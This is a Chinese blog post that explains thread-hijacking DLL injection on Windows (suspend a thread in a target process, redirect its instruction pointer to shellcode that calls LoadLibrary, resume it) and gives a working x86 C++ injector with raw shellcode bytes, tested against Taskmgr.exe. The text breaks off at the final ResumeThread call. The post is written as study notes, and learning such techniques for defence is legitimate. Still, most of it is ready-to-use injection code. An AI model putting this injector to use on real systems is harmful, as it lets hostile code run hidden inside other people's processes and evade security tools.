当前位置 博文首页 > KOOKNUT的博客:挂起目标线程注入(SetThreadContext)--Ring3注入
这段时间一直在复习之前的知识点,今天看到了这种注入,记录一下,与诸位分享。
预备知识点:
当一个正在执行的线程被挂起之后,系统会保存此时线程的上下背景文(Context),当我们把线程恢复执行的时候,系统会把之前的Context恢复,使线程从Context.Eip处开始执行。
注入思路:
当我们准备注入一个目标进程的时候,找到一个进程中的线程,调用SuspendThread将其挂起,然后向修改Context.Eip的处地址为我们存放ShellCode的地址。之后手动恢复线程执行,线程会执行我们的ShellCode,我们只需要在ShellCode
中加载dll就完事儿了。
注意事项:
需要把线程挂起前的Eip保存下来,以便执行完ShellCode跳回原线程代码执行,防止注入之后进程奔溃。
我此处提供的代码是测试了Win7 x86(Taskmgr.exe)和Win10 下的一个x86进程。在x64下,思路是一致的,需要更换ShellCode废话不说,下面附上代码:
#include"SuspendInject.h"
#include"Helper.h"
#ifdef UNICODE
LPFN_LOADLIBRARYW __LoadLibrary = NULL;
#else
LPFN_LOADLIBRARYA __LoadLibrary = NULL;
#endif
#ifndef _WIN64
unsigned char __ShellCode[] =
{
0x68, 0x00, 0x00, 0x00, 0x00, // [0]push 0xxxxxxxxx
0x9c, // [5]pushfd
0x60, // [6]pushad
0x68, 0x00, 0x00, 0x00, 0x00, // [7]push 0xxxxxxxxx
0xb8, 0x00, 0x00, 0x00, 0x00, // [12]mov eax, 0xxxxxxxxx
0xff, 0xd0, // [17]call eax
0x61, // [19]popad
0x9d, // [20]popfd
0xc3 // [21]ret
};
int _tmain()
{
//控制台识别中文
setlocale(LC_ALL, "Chinese-simplified");
TCHAR ProcessImageName[MAX_PATH] = { 0 };//保存进程名字
TCHAR CurrentFullPath[MAX_PATH] = { 0 }; //当前进程的完整路径
TCHAR TargetProcessFullPath[MAX_PATH] = { 0 };//目标进程的完整路径
ULONG_PTR TargetProcessPathLength = MAX_PATH;
ULONG ProcessId = 0;//目标进程Id
CONTEXT ThreadContext; //保存线程上下文结构
DWORD OldEip;//保存原Eip
HANDLE ProcessHandle = INVALID_HANDLE_VALUE;//进程句柄
LPVOID VirtualAddress = NULL;
SIZE_T ReturnLength = 0;
BOOL IsOk = FALSE;
//注入的启动程序和目标程序的位数
BOOL SourceIsWow64 = FALSE;
BOOL TargetIsWow64 = FALSE;
_tprintf(_T("输入一个进程ImageName\r\n"));
TCHAR RcceiveChar = _gettchar();//接受字符串
int i = 0;//用来偏移ProcessName字符数组
while (RcceiveChar != '\n')
{
ProcessImageName[i++] = RcceiveChar;
RcceiveChar = _gettchar();
//ProcessImageName = 0x000000db28fceed0 "Taskmgr.exe"
}
GetCurrentDirectory(MAX_PATH, CurrentFullPath);//保存当前进程的完整路径
IsWow64Process(GetCurrentProcess(), &SourceIsWow64);//得到当前进程位数
//SourceIsWow64 = 0x00000000
ProcessId = KtGetProcessIdentify(ProcessImageName);//通过进程名得到进程Id
//ProcessId = 0x00003aa0
if (ProcessId == 0)
{
return 0;
}
IsOk = KtGetProcessFullPath(TargetProcessFullPath,
&TargetProcessPathLength, ProcessId, FALSE);
if (IsOk == FALSE)
{
return 0;
}
//判断目标进程位数
KtIsWow64Process(TargetProcessFullPath, &TargetIsWow64);
//TargetIsWow64 = 0x00000000
if (SourceIsWow64 == TRUE && TargetIsWow64 == TRUE)
{
_tcscat_s(CurrentFullPath, _T("\\Dll.dll"));
}
else if (SourceIsWow64 == FALSE && TargetIsWow64 == FALSE)
{
_tcscat_s(CurrentFullPath, _T("\\Dll.dll"));
}
//_tcscat_s(CurrentFullPath, _T("\\Dll.dll"));//Win 7 32位测试用
ProcessHandle = KtOpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
ULONG BufferLength = 0;
//在目标进程空间中申请内存
BufferLength = (_tcslen(CurrentFullPath) + 1) * sizeof(TCHAR);
//目标进程空间中申请内存存放Dll完整路径
VirtualAddress = VirtualAllocEx(ProcessHandle, NULL, BufferLength, MEM_COMMIT, PAGE_READWRITE);
if (VirtualAddress == NULL)
{
KtCloseHandle(ProcessHandle);
return 0;
}
//目标进程申请内存--存放ShellCode
PVOID ShellCode = VirtualAllocEx(ProcessHandle, NULL,
sizeof(__ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (ShellCode == NULL)
{
KtCloseHandle(ProcessHandle);
return 0;
}
//目标进程空间中写入数据
if (KtProcessMemoryWriteSafe(ProcessHandle, VirtualAddress, CurrentFullPath, BufferLength, &ReturnLength) == FALSE)
{
VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
KtCloseHandle(ProcessHandle);
return 0;
}
//获得目标进程下的所有线程
vector<HANDLE> ThreadId{};
if (KtGetThreadIdentify((HANDLE)ProcessId, ThreadId) == FALSE)
{
VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
KtCloseHandle(ProcessHandle);
return 0;
}
HMODULE Kernel32ModuleBase = NULL;
Kernel32ModuleBase = GetModuleHandle(_T("KERNEL32.DLL"));
//Kernel32ModuleBase = kernel32.dll!0x00007ffe83fa0000 (加载符号以获取其他信息) {unused=0x00905a4d }
if (Kernel32ModuleBase == NULL)
{
VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
KtCloseHandle(ProcessHandle);
return 0;
}
#ifdef UNICODE
__LoadLibrary = (LPFN_LOADLIBRARYW)GetProcAddress(Kernel32ModuleBase, "LoadLibraryW");
#else
__LoadLibrary = (LPFN_LOADLIBRARYA)GetProcAddress(Kernel32ModuleBase, "LoadLibraryA");
#endif
if (__LoadLibrary == NULL) {
KtCloseHandle(ProcessHandle);
return 0;
}
HANDLE ThreadHandle = KtOpenThread(
(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME),
FALSE, ThreadId[0]);
if (ThreadHandle)
{
SuspendThread(ThreadHandle);
}
else
{
CloseHandle(ThreadHandle);
}
//设置线程上下文的各种属性与Eip地址
ThreadContext.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(ThreadHandle, &ThreadContext);
OldEip = ThreadContext.Eip;
ThreadContext.Eip = (DWORD)ShellCode;//动态申请出来的存放ShellCode的地方
ThreadContext.ContextFlags = CONTEXT_CONTROL;
DWORD OldProtect;
VirtualProtect(__ShellCode, sizeof(__ShellCode), PAGE_EXECUTE_READWRITE, &OldProtect);
memcpy((void *)((unsigned long)__ShellCode + 1), &OldEip, 4);
memcpy((void *)((unsigned long)__ShellCode + 8), &VirtualAddress, 4);
memcpy((void *)((unsigned long)__ShellCode + 13), &__LoadLibrary, 4);
VirtualProtect(__ShellCode, sizeof(__ShellCode), OldProtect, &OldProtect);
WriteProcessMemory(ProcessHandle, ShellCode, __ShellCode, sizeof(__ShellCode), NULL);
SetThreadContext(ThreadHandle, &ThreadContext);
ResumeThread